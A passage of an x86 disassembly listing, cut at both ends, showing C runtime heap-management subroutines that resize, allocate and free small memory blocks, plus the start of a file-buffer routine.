endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 nop call near ptr 2790000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 2890636h loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 nop call near ptr 2780000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 2890636h nop cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 call near ptr 2780000h nop pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 2890636h test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2890780h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE 